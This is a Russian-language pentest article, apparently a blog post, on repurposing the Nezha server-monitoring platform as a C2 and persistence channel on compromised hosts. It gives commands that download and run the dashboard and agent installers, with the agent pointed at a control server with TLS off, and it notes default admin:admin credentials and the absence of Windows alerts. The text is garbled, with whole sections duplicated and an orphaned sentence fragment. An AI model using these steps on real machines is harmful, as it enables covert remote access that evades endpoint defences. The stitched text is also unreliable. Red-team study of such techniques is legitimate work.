Nezha показывает, насколько легко замаскировать persistence под обычную активность, используя программное обеспечение, которое изначально никогда не задумывалось как вредоносное.
В ходе пентеста часто встречается та самая, ключевая машина, которая обеспечивает доступ ко всему остальному. Один ПК может быть единственной точкой опоры для пивотинга (pivot point) в другой сегмент среды. Если цель работ — сэмулировать реалистичное вторжение, зачастую нужно мыслить шире, чем просто о получении доступа. Нужно думать о закреплении (persistence), о том, как сохранить точку опоры не полагаясь на «шумные» вещи вроде RDP-сессий или программных агентов С2.
Обычно безопасность конечных точек, как минимум, обеспечивается Windows Defender, а иногда полноценным EDR. Продукты безопасности сильно различаются и ни одно средство контроля не является полноценным решением. Именно поэтому хакеры обратили внимание на легитимные инструменты, которые можно перепрофилировать для закрепления в скомпрометированной среде.
Одним из таких инструментов является Nezha.
Платформа поддерживает мониторинг нескольких систем одновременно. Уведомления могут отправляться через Telegram, электронную почту, Slack и другие каналы, чтобы администраторы могли быстро реагировать на изменения. У Nezha также есть установка в один клик как для панели управления (dashboard), так и для агента, что упрощает развёртывание на Linux, Windows, macOS, OpenWRT и Synology.
Для хакеров Nezha также является хорошим C2-сервером.
kali > curl -L https://raw.githubusercontent.com/nezhahq/scripts/refs/heads/main/install_en.sh -o nezha.sh && chmod +x nezha.sh && sudo ./nezha.sh
Во время установки необходимо указать порт и прочие детали подключения для гибкого развёртывания. Для тестирования мы использовали внутренний адрес.
После завершения установки панель управления (dashboard) можно открыть в браузере. Учётные данные по умолчанию — admin:admin.
Внутри панели управления раздел Server отображает подключённые машины и команду установки для агентов.
ubuntu > curl -L https://raw.githubusercontent.com/nezhahq/scripts/main/agent/isntall.sh -o agent.sh && chmod +x agent.sh & env NZ_SERVER=192.168.131.7:8008 NZ_TLS=false NZ_CLIENT_SECRET=<secret> ./agent.sh
Новое подключение появится в панели управления.
Для Windows:
Как видите, нет никаких оповещений, все установилось успешно.
Подключение появилось в панели управления. На этом этапе мы можем попробовать открыть терминал и выполнить команды.
защитников при обнаружении.
В ходе пентеста часто встречается та самая, ключевая машина, которая обеспечивает доступ ко всему остальному. Один ПК может быть единственной точкой опоры для пивотинга (pivot point) в другой сегмент среды. Если цель работ — сэмулировать реалистичное вторжение, зачастую нужно мыслить шире, чем просто о получении доступа. Нужно думать о закреплении (persistence), о том, как сохранить точку опоры не полагаясь на «шумные» вещи вроде RDP-сессий или программных агентов С2.
Обычно безопасность конечных точек, как минимум, обеспечивается Windows Defender, а иногда полноценным EDR. Продукты безопасности сильно различаются и ни одно средство контроля не является полноценным решением. Именно поэтому хакеры обратили внимание на легитимные инструменты, которые можно перепрофилировать для закрепления в скомпрометированной среде.
Одним из таких инструментов является Nezha.
Что такое Nezha?
Nezha — это self-hostable платформа для мониторинга и управления серверами и веб-сайтами. Она легковесна и проста в развёртывании. Nezha может отправлять push-оповещения, запускать запланированные задачи и предоставлять веб-терминал для удалённого управления.Платформа поддерживает мониторинг нескольких систем одновременно. Уведомления могут отправляться через Telegram, электронную почту, Slack и другие каналы, чтобы администраторы могли быстро реагировать на изменения. У Nezha также есть установка в один клик как для панели управления (dashboard), так и для агента, что упрощает развёртывание на Linux, Windows, macOS, OpenWRT и Synology.
Для хакеров Nezha также является хорошим C2-сервером.
Настройка
Чтобы показать, как работает платформа, мы начнём с установки панели управления (dashboard). В архитектуре Nezha это центральный компонент управления, который координирует подключённые агенты и отображает их статус в интерфейсе. Её можно установить с помощью однострочной команды Bash.kali > curl -L https://raw.githubusercontent.com/nezhahq/scripts/refs/heads/main/install_en.sh -o nezha.sh && chmod +x nezha.sh && sudo ./nezha.sh
Во время установки необходимо указать порт и прочие детали подключения для гибкого развёртывания. Для тестирования мы использовали внутренний адрес.
После завершения установки панель управления (dashboard) можно открыть в браузере. Учётные данные по умолчанию — admin:admin.
Внутри панели управления раздел Server отображает подключённые машины и команду установки для агентов.
Установка агентов
Чтобы протестировать платформу на Linux, у вас должен быть установлен unzip.ubuntu > curl -L https://raw.githubusercontent.com/nezhahq/scripts/main/agent/isntall.sh -o agent.sh && chmod +x agent.sh & env NZ_SERVER=192.168.131.7:8008 NZ_TLS=false NZ_CLIENT_SECRET=<secret> ./agent.sh
Новое подключение появится в панели управления.
Для Windows:
Как видите, нет никаких оповещений, все установилось успешно.
Подключение появилось в панели управления. На этом этапе мы можем попробовать открыть терминал и выполнить команды.
OPSEC и обнаружение
Поскольку Nezha использует предварительно настроенные установочные скрипты для своих агентов, процесс развёртывания можно кастомизировать. Эта гибкость удобна. Она создаёт сложности длязащитников при обнаружении.